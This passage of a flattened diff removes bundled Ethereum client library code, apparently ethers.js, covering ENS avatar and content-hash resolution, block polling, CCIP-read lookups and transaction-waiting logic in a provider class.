this._getAddress(coinType, hexBytes); - if (address == null) { - logger49.throwError(`invalid or unsupported coin data`, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: `getAddress(${coinType})`, - coinType, - data: hexBytes - }); - } - return address; - }); - } - getAvatar() { - return __awaiter25(this, void 0, void 0, function* () { - const linkage = [{ type: "name", content: this.name }]; - try { - const avatar = yield this.getText("avatar"); - if (avatar == null) { - return null; - } - for (let i = 0; i < matchers2.length; i++) { - const match = avatar.match(matchers2[i]); - if (match == null) { - continue; - } - const scheme = match[1].toLowerCase(); - switch (scheme) { - case "https": - linkage.push({ type: "url", content: avatar }); - return { linkage, url: avatar }; - case "data": - linkage.push({ type: "data", content: avatar }); - return { linkage, url: avatar }; - case "ipfs": - linkage.push({ type: "ipfs", content: avatar }); - return { linkage, url: getIpfsLink2(avatar) }; - case "erc721": - case "erc1155": { - const selector = scheme === "erc721" ? "0xc87b56dd" : "0x0e89341c"; - linkage.push({ type: scheme, content: avatar }); - const owner = this._resolvedAddress || (yield this.getAddress()); - const comps = (match[2] || "").split("/"); - if (comps.length !== 2) { - return null; - } - const addr = yield this.provider.formatter.address(comps[0]); - const tokenId = hexZeroPad2(BigNumber2.from(comps[1]).toHexString(), 32); - if (scheme === "erc721") { - const tokenOwner = this.provider.formatter.callAddress(yield this.provider.call({ - to: addr, - data: hexConcat2(["0x6352211e", tokenId]) - })); - if (owner !== tokenOwner) { - return null; - } - linkage.push({ type: "owner", content: tokenOwner }); - } else if (scheme === "erc1155") { - const balance = BigNumber2.from(yield this.provider.call({ - to: addr, - data: hexConcat2(["0x00fdd58e", hexZeroPad2(owner, 32), tokenId]) - })); - if (balance.isZero()) { - return null; - } - linkage.push({ type: "balance", content: balance.toString() }); - } - const tx = { - to: this.provider.formatter.address(comps[0]), - data: hexConcat2([selector, tokenId]) - }; - let metadataUrl = _parseString2(yield this.provider.call(tx), 0); - if (metadataUrl == null) { - return null; - } - linkage.push({ type: "metadata-url-base", content: metadataUrl }); - if (scheme === "erc1155") { - metadataUrl = metadataUrl.replace("{id}", tokenId.substring(2)); - linkage.push({ type: "metadata-url-expanded", content: metadataUrl }); - } - if (metadataUrl.match(/^ipfs:/i)) { - metadataUrl = getIpfsLink2(metadataUrl); - } - linkage.push({ type: "metadata-url", content: metadataUrl }); - const metadata = yield fetchJson2(metadataUrl); - if (!metadata) { - return null; - } - linkage.push({ type: "metadata", content: JSON.stringify(metadata) }); - let imageUrl = metadata.image; - if (typeof imageUrl !== "string") { - return null; - } - if (imageUrl.match(/^(https:\/\/|data:)/i)) { - } else { - const ipfs = imageUrl.match(matcherIpfs2); - if (ipfs == null) { - return null; - } - linkage.push({ type: "url-ipfs", content: imageUrl }); - imageUrl = getIpfsLink2(imageUrl); - } - linkage.push({ type: "url", content: imageUrl }); - return { linkage, url: imageUrl }; - } - } - } - } catch (error) { - } - return null; - }); - } - getContentHash() { - return __awaiter25(this, void 0, void 0, function* () { - const hexBytes = yield this._fetchBytes("0xbc1c58d1"); - if (hexBytes == null || hexBytes === "0x") { - return null; - } - const ipfs = hexBytes.match(/^0xe3010170(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); - if (ipfs) { - const length = parseInt(ipfs[3], 16); - if (ipfs[4].length === length * 2) { - return "ipfs://" + Base582.encode("0x" + ipfs[1]); - } - } - const ipns = hexBytes.match(/^0xe5010172(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); - if (ipns) { - const length = parseInt(ipns[3], 16); - if (ipns[4].length === length * 2) { - return "ipns://" + Base582.encode("0x" + ipns[1]); - } - } - const swarm = hexBytes.match(/^0xe40101fa011b20([0-9a-f]*)$/); - if (swarm) { - if (swarm[1].length === 32 * 2) { - return "bzz://" + swarm[1]; - } - } - const skynet = hexBytes.match(/^0x90b2c605([0-9a-f]*)$/); - if (skynet) { - if (skynet[1].length === 34 * 2) { - const urlSafe = { "=": "", "+": "-", "/": "_" }; - const hash3 = encode7("0x" + skynet[1]).replace(/[=+\/]/g, (a) => urlSafe[a]); - return "sia://" + hash3; - } - } - return logger49.throwError(`invalid or unsupported content hash data`, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "getContentHash()", - data: hexBytes - }); - }); - } - getText(key3) { - return __awaiter25(this, void 0, void 0, function* () { - let keyBytes = toUtf8Bytes2(key3); - keyBytes = concat2([bytes32ify2(64), bytes32ify2(keyBytes.length), keyBytes]); - if (keyBytes.length % 32 !== 0) { - keyBytes = concat2([keyBytes, hexZeroPad2("0x", 32 - key3.length % 32)]); - } - const hexBytes = yield this._fetchBytes("0x59d1d43c", hexlify2(keyBytes)); - if (hexBytes == null || hexBytes === "0x") { - return null; - } - return toUtf8String2(hexBytes); - }); - } - }; - var defaultFormatter2 = null; - var nextPollId2 = 1; - var BaseProvider2 = class extends Provider2 { - /** - * ready - * - * A Promise that resolves only once the provider is ready. - * - * Sub-classes that call the super with a network without a chainId - * MUST set this. Standard named networks have a known chainId. - * - */ - constructor(network) { - super(); - this._events = []; - this._emitted = { block: -2 }; - this.disableCcipRead = false; - this.formatter = new.target.getFormatter(); - defineReadOnly2(this, "anyNetwork", network === "any"); - if (this.anyNetwork) { - network = this.detectNetwork(); - } - if (network instanceof Promise) { - this._networkPromise = network; - network.catch((error) => { - }); - this._ready().catch((error) => { - }); - } else { - const knownNetwork = getStatic2(new.target, "getNetwork")(network); - if (knownNetwork) { - defineReadOnly2(this, "_network", knownNetwork); - this.emit("network", knownNetwork, null); - } else { - logger49.throwArgumentError("invalid network", "network", network); - } - } - this._maxInternalBlockNumber = -1024; - this._lastBlockNumber = -2; - this._maxFilterBlockRange = 10; - this._pollingInterval = 4e3; - this._fastQueryDate = 0; - } - _ready() { - return __awaiter25(this, void 0, void 0, function* () { - if (this._network == null) { - let network = null; - if (this._networkPromise) { - try { - network = yield this._networkPromise; - } catch (error) { - } - } - if (network == null) { - network = yield this.detectNetwork(); - } - if (!network) { - logger49.throwError("no network detected", Logger2.errors.UNKNOWN_ERROR, {}); - } - if (this._network == null) { - if (this.anyNetwork) { - this._network = network; - } else { - defineReadOnly2(this, "_network", network); - } - this.emit("network", network, null); - } - } - return this._network; - }); - } - // This will always return the most recently established network. - // For "any", this can change (a "network" event is emitted before - // any change is reflected); otherwise this cannot change - get ready() { - return poll2(() => { - return this._ready().then((network) => { - return network; - }, (error) => { - if (error.code === Logger2.errors.NETWORK_ERROR && error.event === "noNetwork") { - return void 0; - } - throw error; - }); - }); - } - // @TODO: Remove this and just create a singleton formatter - static getFormatter() { - if (defaultFormatter2 == null) { - defaultFormatter2 = new Formatter2(); - } - return defaultFormatter2; - } - // @TODO: Remove this and just use getNetwork - static getNetwork(network) { - return getNetwork2(network == null ? "homestead" : network); - } - ccipReadFetch(tx, calldata, urls) { - return __awaiter25(this, void 0, void 0, function* () { - if (this.disableCcipRead || urls.length === 0) { - return null; - } - const sender = tx.to.toLowerCase(); - const data = calldata.toLowerCase(); - const errorMessages = []; - for (let i = 0; i < urls.length; i++) { - const url = urls[i]; - const href = url.replace("{sender}", sender).replace("{data}", data); - const json = url.indexOf("{data}") >= 0 ? null : JSON.stringify({ data, sender }); - const result = yield fetchJson2({ url: href, errorPassThrough: true }, json, (value, response) => { - value.status = response.statusCode; - return value; - }); - if (result.data) { - return result.data; - } - const errorMessage = result.message || "unknown error"; - if (result.status >= 400 && result.status < 500) { - return logger49.throwError(`response not found during CCIP fetch: ${errorMessage}`, Logger2.errors.SERVER_ERROR, { url, errorMessage }); - } - errorMessages.push(errorMessage); - } - return logger49.throwError(`error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(", ")}`, Logger2.errors.SERVER_ERROR, { - urls, - errorMessages - }); - }); - } - // Fetches the blockNumber, but will reuse any result that is less - // than maxAge old or has been requested since the last request - _getInternalBlockNumber(maxAge) { - return __awaiter25(this, void 0, void 0, function* () { - yield this._ready(); - if (maxAge > 0) { - while (this._internalBlockNumber) { - const internalBlockNumber = this._internalBlockNumber; - try { - const result = yield internalBlockNumber; - if (getTime2() - result.respTime <= maxAge) { - return result.blockNumber; - } - break; - } catch (error) { - if (this._internalBlockNumber === internalBlockNumber) { - break; - } - } - } - } - const reqTime = getTime2(); - const checkInternalBlockNumber = resolveProperties2({ - blockNumber: this.perform("getBlockNumber", {}), - networkError: this.getNetwork().then((network) => null, (error) => error) - }).then(({ blockNumber, networkError }) => { - if (networkError) { - if (this._internalBlockNumber === checkInternalBlockNumber) { - this._internalBlockNumber = null; - } - throw networkError; - } - const respTime = getTime2(); - blockNumber = BigNumber2.from(blockNumber).toNumber(); - if (blockNumber < this._maxInternalBlockNumber) { - blockNumber = this._maxInternalBlockNumber; - } - this._maxInternalBlockNumber = blockNumber; - this._setFastBlockNumber(blockNumber); - return { blockNumber, reqTime, respTime }; - }); - this._internalBlockNumber = checkInternalBlockNumber; - checkInternalBlockNumber.catch((error) => { - if (this._internalBlockNumber === checkInternalBlockNumber) { - this._internalBlockNumber = null; - } - }); - return (yield checkInternalBlockNumber).blockNumber; - }); - } - poll() { - return __awaiter25(this, void 0, void 0, function* () { - const pollId = nextPollId2++; - const runners = []; - let blockNumber = null; - try { - blockNumber = yield this._getInternalBlockNumber(100 + this.pollingInterval / 2); - } catch (error) { - this.emit("error", error); - return; - } - this._setFastBlockNumber(blockNumber); - this.emit("poll", pollId, blockNumber); - if (blockNumber === this._lastBlockNumber) { - this.emit("didPoll", pollId); - return; - } - if (this._emitted.block === -2) { - this._emitted.block = blockNumber - 1; - } - if (Math.abs(this._emitted.block - blockNumber) > 1e3) { - logger49.warn(`network block skew detected; skipping block events (emitted=${this._emitted.block} blockNumber${blockNumber})`); - this.emit("error", logger49.makeError("network block skew detected", Logger2.errors.NETWORK_ERROR, { - blockNumber, - event: "blockSkew", - previousBlockNumber: this._emitted.block - })); - this.emit("block", blockNumber); - } else { - for (let i = this._emitted.block + 1; i <= blockNumber; i++) { - this.emit("block", i); - } - } - if (this._emitted.block !== blockNumber) { - this._emitted.block = blockNumber; - Object.keys(this._emitted).forEach((key3) => { - if (key3 === "block") { - return; - } - const eventBlockNumber = this._emitted[key3]; - if (eventBlockNumber === "pending") { - return; - } - if (blockNumber - eventBlockNumber > 12) { - delete this._emitted[key3]; - } - }); - } - if (this._lastBlockNumber === -2) { - this._lastBlockNumber = blockNumber - 1; - } - this._events.forEach((event) => { - switch (event.type) { - case "tx": { - const hash3 = event.hash; - let runner = this.getTransactionReceipt(hash3).then((receipt) => { - if (!receipt || receipt.blockNumber == null) { - return null; - } - this._emitted["t:" + hash3] = receipt.blockNumber; - this.emit(hash3, receipt); - return null; - }).catch((error) => { - this.emit("error", error); - }); - runners.push(runner); - break; - } - case "filter": { - if (!event._inflight) { - event._inflight = true; - if (event._lastBlockNumber === -2) { - event._lastBlockNumber = blockNumber - 1; - } - const filter2 = event.filter; - filter2.fromBlock = event._lastBlockNumber + 1; - filter2.toBlock = blockNumber; - const minFromBlock = filter2.toBlock - this._maxFilterBlockRange; - if (minFromBlock > filter2.fromBlock) { - filter2.fromBlock = minFromBlock; - } - if (filter2.fromBlock < 0) { - filter2.fromBlock = 0; - } - const runner = this.getLogs(filter2).then((logs) => { - event._inflight = false; - if (logs.length === 0) { - return; - } - logs.forEach((log) => { - if (log.blockNumber > event._lastBlockNumber) { - event._lastBlockNumber = log.blockNumber; - } - this._emitted["b:" + log.blockHash] = log.blockNumber; - this._emitted["t:" + log.transactionHash] = log.blockNumber; - this.emit(filter2, log); - }); - }).catch((error) => { - this.emit("error", error); - event._inflight = false; - }); - runners.push(runner); - } - break; - } - } - }); - this._lastBlockNumber = blockNumber; - Promise.all(runners).then(() => { - this.emit("didPoll", pollId); - }).catch((error) => { - this.emit("error", error); - }); - return; - }); - } - // Deprecated; do not use this - resetEventsBlock(blockNumber) { - this._lastBlockNumber = blockNumber - 1; - if (this.polling) { - this.poll(); - } - } - get network() { - return this._network; - } - // This method should query the network if the underlying network - // can change, such as when connected to a JSON-RPC backend - detectNetwork() { - return __awaiter25(this, void 0, void 0, function* () { - return logger49.throwError("provider does not support network detection", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "provider.detectNetwork" - }); - }); - } - getNetwork() { - return __awaiter25(this, void 0, void 0, function* () { - const network = yield this._ready(); - const currentNetwork = yield this.detectNetwork(); - if (network.chainId !== currentNetwork.chainId) { - if (this.anyNetwork) { - this._network = currentNetwork; - this._lastBlockNumber = -2; - this._fastBlockNumber = null; - this._fastBlockNumberPromise = null; - this._fastQueryDate = 0; - this._emitted.block = -2; - this._maxInternalBlockNumber = -1024; - this._internalBlockNumber = null; - this.emit("network", currentNetwork, network); - yield stall2(0); - return this._network; - } - const error = logger49.makeError("underlying network changed", Logger2.errors.NETWORK_ERROR, { - event: "changed", - network, - detectedNetwork: currentNetwork - }); - this.emit("error", error); - throw error; - } - return network; - }); - } - get blockNumber() { - this._getInternalBlockNumber(100 + this.pollingInterval / 2).then((blockNumber) => { - this._setFastBlockNumber(blockNumber); - }, (error) => { - }); - return this._fastBlockNumber != null ? this._fastBlockNumber : -1; - } - get polling() { - return this._poller != null; - } - set polling(value) { - if (value && !this._poller) { - this._poller = setInterval(() => { - this.poll(); - }, this.pollingInterval); - if (!this._bootstrapPoll) { - this._bootstrapPoll = setTimeout(() => { - this.poll(); - this._bootstrapPoll = setTimeout(() => { - if (!this._poller) { - this.poll(); - } - this._bootstrapPoll = null; - }, this.pollingInterval); - }, 0); - } - } else if (!value && this._poller) { - clearInterval(this._poller); - this._poller = null; - } - } - get pollingInterval() { - return this._pollingInterval; - } - set pollingInterval(value) { - if (typeof value !== "number" || value <= 0 || parseInt(String(value)) != value) { - throw new Error("invalid polling interval"); - } - this._pollingInterval = value; - if (this._poller) { - clearInterval(this._poller); - this._poller = setInterval(() => { - this.poll(); - }, this._pollingInterval); - } - } - _getFastBlockNumber() { - const now2 = getTime2(); - if (now2 - this._fastQueryDate > 2 * this._pollingInterval) { - this._fastQueryDate = now2; - this._fastBlockNumberPromise = this.getBlockNumber().then((blockNumber) => { - if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) { - this._fastBlockNumber = blockNumber; - } - return this._fastBlockNumber; - }); - } - return this._fastBlockNumberPromise; - } - _setFastBlockNumber(blockNumber) { - if (this._fastBlockNumber != null && blockNumber < this._fastBlockNumber) { - return; - } - this._fastQueryDate = getTime2(); - if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) { - this._fastBlockNumber = blockNumber; - this._fastBlockNumberPromise = Promise.resolve(blockNumber); - } - } - waitForTransaction(transactionHash, confirmations, timeout) { - return __awaiter25(this, void 0, void 0, function* () { - return this._waitForTransaction(transactionHash, confirmations == null ? 1 : confirmations, timeout || 0, null); - }); - } - _waitForTransaction(transactionHash, confirmations, timeout, replaceable) { - return __awaiter25(this, void 0, void 0, function* () { - const receipt = yield this.getTransactionReceipt(transactionHash); - if ((receipt ? receipt.confirmations : 0) >= confirmations) { - return receipt; - } - return new Promise((resolve, reject) => { - const cancelFuncs = []; - let done = false; - const alreadyDone = function() { - if (done) { - return true; - } - done = true; - cancelFuncs.forEach((func) => { - func(); - }); - return false; - }; - const minedHandler = (receipt2) => { - if (receipt2.confirmations < confirmations) { - return; - } - if (alreadyDone()) { - return; - } - resolve(receipt2); - }; - this.on(transactionHash, minedHandler); - cancelFuncs.push(() => { - this.removeListener(transactionHash, minedHandler); - }); - if (replaceable) { - let lastBlockNumber = replaceable.startBlock; - let scannedBlock = null; - const replaceHandler = (blockNumber) => __awaiter25(this, void 0, void 0, function* () { - if (done) { - return; - } - yield stall2(1e3); - this.getTransactionCount(replaceable.from).then((nonce) => __awaiter25(this, void 0, void 0, function* () { - if (done) { - return; - } - if (nonce <= replaceable.nonce) { - lastBlockNumber = blockNumber; - } else { - { - const mined = yield this.getTransaction(transactionHash); - if (mined && mined.blockNumber != null) { - return; - } - } - if (scannedBlock == null) { - scannedBlock = lastBlockNumber - 3; - if (scannedBlock < replaceable.startBlock) { - scannedBlock = replaceable.startBlock; - } - } - while (scannedBlock <= blockNumber) { - if (done) { - return; - } - const block = yield this.getBlockWithTransactions(scannedBlock); - for (let ti = 0; ti < block.transactions.length; ti++) { - const tx = block.transactions[ti]; - if (tx.hash === transactionHash) { - return; - } - if (tx.from === replaceable.from && tx.nonce === replaceable.nonce) { - if (done) { - return; - } - const receipt2 = yield this.waitForTransaction(tx.hash, confirmations); - if (alreadyDone()) { - return; - } - let reason = "replaced"; - if (tx.data === replaceable.data && tx.to === replaceable.to && tx.value.eq(replaceable.value)) { - reason = "repriced"; - } else if (tx.data === "0x" && tx.from === tx.to && tx.value.isZero()) { - reason = "cancelled"; - } - reject(logger49.makeError("transaction was replaced", Logger2.errors.TRANSACTION_REPLACED, { - cancelled: reason === "replaced" || reason === "cancelled", - reason, - replacement: this._wrapTransaction(tx), - hash: transactionHash, - receipt: receipt2 - })); - return; - } - } - scannedBlock++; - } - } - if (done) { - return; - } - this.once("block", replaceHandler); - }), (error) => { - if (done) { - return; - } - this.once("block", replaceHandler); - }); - }); - if (done) { - return; - } - this.once("block", replaceHandler); - cancelFuncs.push(() => { - this.removeListener("block", replaceHandler); - }); - } - if (typeof timeout === "number" && timeout > 0) { - const timer3 = setTimeout(() => { - if (alreadyDone()) { - return; - } - reject(logger49.makeError("timeout exceeded", Logger2.errors.TIMEOUT, { timeout })); - }, timeout); - if (timer3.unref) { - timer3.unref(); - } - cancelFuncs.push(() => { - clearTimeout(timer3); - }); - } - }); - }); - } - getBlockNumber() { - return __awaiter25(this, void 0, void 0, function* () { - return this._getInternalBlockNumber(0); - }); - } - getGasPrice() { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const result = yield this.perform("getGasPrice", {}); - try { - return BigNumber2.from(result); - } catch (error) { - return logger49.throwError("bad result from backend", Logger2.errors.SERVER_ERROR, { - method: "getGasPrice", - result, - error - }); - } - }); - } - getBalance(addressOrName, blockTag) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties2({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag) - }); - const result = yield this.perform("getBalance", params); - try { - return BigNumber2.from(result); - } catch (error) { - return logger49.throwError("bad result from backend", Logger2.errors.SERVER_ERROR, { - method: "getBalance", - params, - result, - error - }); - } - }); - } - getTransactionCount(addressOrName, blockTag) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties2({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag) - }); - const result = yield this.perform("getTransactionCount", params); - try { - return BigNumber2.from(result).toNumber(); - } catch (error) { - return logger49.throwError("bad result from backend", Logger2.errors.SERVER_ERROR, { - method: "getTransactionCount", - params, - result, - error - }); - } - }); - } - getCode(addressOrName, blockTag) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties2({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag) - }); - const result = yield this.perform("getCode", params); - try { - return hexlify2(result); - } catch (error) { - return logger49.throwError("bad result from backend", Logger2.errors.SERVER_ERROR, { - method: "getCode", - params, - result, - error - }); - } - }); - } - getStorageAt(addressOrName, position, blockTag) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties2({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag), - position: Promise.resolve(position).then((p) => hexValue2(p)) - }); - const result = yield this.perform("getStorageAt", params); - try { - return hexlify2(result); - } catch (error) { - return logger49.throwError("bad result from backend", Logger2.errors.SERVER_ERROR, { - method: "getStorageAt", - params, - result, - error - }); - } - }); - } - // This should be called by any subclass wrapping a TransactionResponse - _wrapTransaction(tx, hash3, startBlock) { - if (hash3 != null && hexDataLength2(hash3) !== 32) { - throw new Error("invalid response - sendTransaction"); - } - const result = tx; - if (hash3 != null && tx.hash !== hash3) { - logger49.throwError("Transaction hash mismatch from Provider.sendTransaction.", Logger2.errors.UNKNOWN_ERROR, { expectedHash: tx.hash, returnedHash: hash3 }); - } - result.wait = (confirms, timeout) => __awaiter25(this, void 0, void 0, function* () { - if (confirms == null) { - confirms = 1; - } - if (timeout == null) { - timeout = 0; - } - let replacement = void 0; - if (confirms !== 0 && startBlock != null) { - replacement = { - data: tx.data, - from: tx.from, - nonce: tx.nonce, - to: tx.to, - value: tx.value, - startBlock - }; - } - const receipt = yield this._waitForTransaction(tx.hash, confirms, timeout, replacement); - if (receipt == null && confirms === 0) { - return null; - } - this._emitted["t:" + tx.hash] = receipt.blockNumber; - if (receipt.status === 0) { - logger49.throwError("transaction failed", Logger2.errors.CALL_EXCEPTION, { - transactionHash: tx.hash, - transaction: tx, - receipt - }); - } - return receipt; - }); - return result; - } - sendTransaction(signedTransaction) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const hexTx = yield Promise.resolve(signedTransaction).then((t) => hexlify2(t)); - const tx = this.formatter.transaction(signedTransaction); - if (tx.confirmations == null) { - tx.confirmations = 0; - } - const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - try { - const hash3 = yield this.perform("sendTransaction", { signedTransaction: hexTx }); - return this._wrapTransaction(tx, hash3, blockNumber); - } catch (error) { - error.transaction = tx; - error.transactionHash = tx.hash; - throw error; - } - }); - } - _getTransactionRequest(transaction) { - return __awaiter25(this, void 0, void 0, function* () { - const values = yield transaction; - const tx = {}; - ["from", "to"].forEach((key3) => { - if (values[key3] == null) { - return; - } - tx[key3] = Promise.resolve(values[key3]).then((v) => v ? this._getAddress(v) : null); - }); - ["gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "value"].forEach((key3) => { - if (values[key3] == null) { - return; - } - tx[key3] = Promise.resolve(values[key3]).then((v) => v ? BigNumber2.from(v) : null); - }); - ["type"].forEach((key3) => { - if (values[key3] == null) { - return; - } - tx[key3] = Promise.resolve(values[key3]).then((v) => v != null ? v : null); - }); - if (values.accessList) { - tx.accessList = this.formatter.accessList(values.accessList); - } - ["data"].forEach((key3) => { - if (values[key3] == null) { - return; - } - tx[key3] = Promise.resolve(values[key3]).then((v) => v ? hexlify2(v) : null); - }); - return this.formatter.transactionRequest(yield resolveProperties2(tx)); - }); - } - _getFilter(filter2) { - return __awaiter25(this, void 0, void 0, function* () { - filter2 = yield filter2; - const result = {}; - if (filter2.address != null) { - result.address = this._getAddress(filter2.address); - } - ["blockHash", "topics"].forEach((key3) => { - if (filter2[key3] == null) { - return; - } - result[key3] = filter2[key3]; - }); - ["fromBlock", "toBlock"].forEach((key3) => { - if (filter2[key3] == null) { - return; - } - result[key3] = this._getBlockTag(filter2[key3]); - }); - return this.formatter.filter(yield resolveProperties2(result)); - }); - } - _call(transaction, blockTag, attempt) { - return __awaiter25(this, void 0, void 0, function* () { - if (attempt >= MAX_CCIP_REDIRECTS2) { - logger49.throwError("CCIP read exceeded maximum redirections", Logger2.errors.SERVER_ERROR, { - redirects: attempt, - transaction - }); - } - const txSender = transaction.to; - const result = yield this.perform("call", { transaction, blockTag }); - if (attempt >= 0 && blockTag === "latest" && txSender != null && result.substring(0, 10) === "0x556f1830" && hexDataLength2(result) % 32 === 4) { - try { - const data = hexDataSlice2(result, 4); - const sender = hexDataSlice2(data, 0, 32); - if (!BigNumber2.from(sender).eq(txSender)) { - logger49.throwError("CCIP Read sender did not match", Logger2.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - const urls = []; - const urlsOffset = BigNumber2.from(hexDataSlice2(data, 32, 64)).toNumber(); - const urlsLength = BigNumber2.from(hexDataSlice2(data, urlsOffset, urlsOffset + 32)).toNumber(); - const urlsData = hexDataSlice2(data, urlsOffset + 32); - for (let u = 0; u < urlsLength; u++) { - const url = _parseString2(urlsData, u * 32); - if (url == null) { - logger49.throwError("CCIP Read contained corrupt URL string", Logger2.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - urls.push(url); - } - const calldata = _parseBytes2(data, 64); - if (!BigNumber2.from(hexDataSlice2(data, 100, 128)).isZero()) { - logger49.throwError("CCIP Read callback selector included junk", Logger2.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - const callbackSelector = hexDataSlice2(data, 96, 100); - const extraData = _parseBytes2(data, 128); - const ccipResult = yield this.ccipReadFetch(transaction, calldata, urls); - if (ccipResult == null) { - logger49.throwError("CCIP Read disabled or provided no URLs", Logger2.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - const tx = { - to: txSender, - data: hexConcat2([callbackSelector, encodeBytes2([ccipResult, extraData])]) - }; - return this._call(tx, blockTag, attempt + 1); - } catch (error) { - if (error.code === Logger2.errors.SERVER_ERROR) { - throw error; - } - } - } - try { - return hexlify2(result); - } catch (error) { - return logger49.throwError("bad result from backend", Logger2.errors.SERVER_ERROR, { - method: "call", - params: { transaction, blockTag }, - result, - error - }); - } - }); - } - call(transaction, blockTag) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const resolved = yield resolveProperties2({ - transaction: this._getTransactionRequest(transaction), - blockTag: this._getBlockTag(blockTag), - ccipReadEnabled: Promise.resolve(transaction.ccipReadEnabled) - }); - return this._call(resolved.transaction, resolved.blockTag, resolved.ccipReadEnabled ? 0 : -1); - }); - } - estimateGas(transaction) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties2({ - transaction: this._getTransactionRequest(transaction) - }); - const result = yield this.perform("estimateGas", params); - try { - return BigNumber2.from(result); - } catch (error) { - return logger49.throwError("bad result from backend", Logger2.errors.SERVER_ERROR, { - method: "estimateGas", - params, - result, - error - }); - } - }); - } - _getAddress(addressOrName) { - return __awaiter25(this, void 0, void 0, function* () { - addressOrName = yield addressOrName; - if (typeof addressOrName !== "string") { - logger49.throwArgumentError("invalid address or ENS name", "name", addressOrName); - } - const address = yield this.resolveName(addressOrName); - if (address == null) { - logger49.throwError("ENS name not configured", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: `resolveName(${JSON.stringify(addressOrName)})` - }); - } - return address; - }); - } - _getBlock(blockHashOrBlockTag, includeTransactions) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - blockHashOrBlockTag = yield blockHashOrBlockTag; - let blockNumber = -128; - const params = { - includeTransactions: !!includeTransactions - }; - if (isHexString2(blockHashOrBlockTag, 32)) { - params.blockHash = blockHashOrBlockTag; - } else { - try { - params.blockTag = yield this._getBlockTag(blockHashOrBlockTag); - if (isHexString2(params.blockTag)) { - blockNumber = parseInt(params.blockTag.substring(2), 16); - } - } catch (error) { - logger49.throwArgumentError("invalid block hash or block tag", "blockHashOrBlockTag", blockHashOrBlockTag); - } - } - return poll2(() => __awaiter25(this, void 0, void 0, function* () { - const block = yield this.perform("getBlock", params); - if (block == null) { - if (params.blockHash != null) { - if (this._emitted["b:" + params.blockHash] == null) { - return null; - } - } - if (params.blockTag != null) { - if (blockNumber > this._emitted.block) { - return null; - } - } - return void 0; - } - if (includeTransactions) { - let blockNumber2 = null; - for (let i = 0; i < block.transactions.length; i++) { - const tx = block.transactions[i]; - if (tx.blockNumber == null) { - tx.confirmations = 0; - } else if (tx.confirmations == null) { - if (blockNumber2 == null) { - blockNumber2 = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - } - let confirmations = blockNumber2 - tx.blockNumber + 1; - if (confirmations <= 0) { - confirmations = 1; - } - tx.confirmations = confirmations; - } - } - const blockWithTxs = this.formatter.blockWithTransactions(block); - blockWithTxs.transactions = blockWithTxs.transactions.map((tx) => this._wrapTransaction(tx)); - return blockWithTxs; - } - return this.formatter.block(block); - }), { oncePoll: this }); - }); - } - getBlock(blockHashOrBlockTag) { - return this._getBlock(blockHashOrBlockTag, false); - } - getBlockWithTransactions(blockHashOrBlockTag) { - return this._getBlock(blockHashOrBlockTag, true); - } - getTransaction(transactionHash) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - transactionHash = yield transactionHash; - const params = { transactionHash: this.formatter.hash(transactionHash, true) }; - return poll2(() => __awaiter25(this, void 0, void 0, function* () { - const result = yield this.perform("getTransaction", params); - if (result == null) { - if (this._emitted["t:" + transactionHash] == null) { - return null; - } - return void 0; - } - const tx = this.formatter.transactionResponse(result); - if (tx.blockNumber == null) { - tx.confirmations = 0; - } else if (tx.confirmations == null) { - const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - let confirmations = blockNumber - tx.blockNumber + 1; - if (confirmations <= 0) { - confirmations = 1; - } - tx.confirmations = confirmations; - } - return this._wrapTransaction(tx); - }), { oncePoll: this }); - }); - } - getTransactionReceipt(transactionHash) { - return __awaiter25(this, void 0, void 0, function* () { - yield this.getNetwork(); - transactionHash = yield transactionHash; - const params = { transactionHash: this.formatter.hash(transactionHash, true) }; - return poll2(() => __awaiter25(this, void 0, void 0, function* () { - const result = yield this.perform("getTransactionReceipt", params); - if (result == null) { - if (this._emitted["t:" + transactionHash] == null) { - return null; - } - return void 0; - } - if (result.blockHash == null) { - return void 0; - } - const receipt = this.formatter.receipt(result); - if (receipt.blockNumber == null) { - receipt.confirmations = 0; - } else if (receipt.confirmations == null) { - const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - let confirmations = blockNumber - receipt.blockNumber + 1; - if (confirmations <= 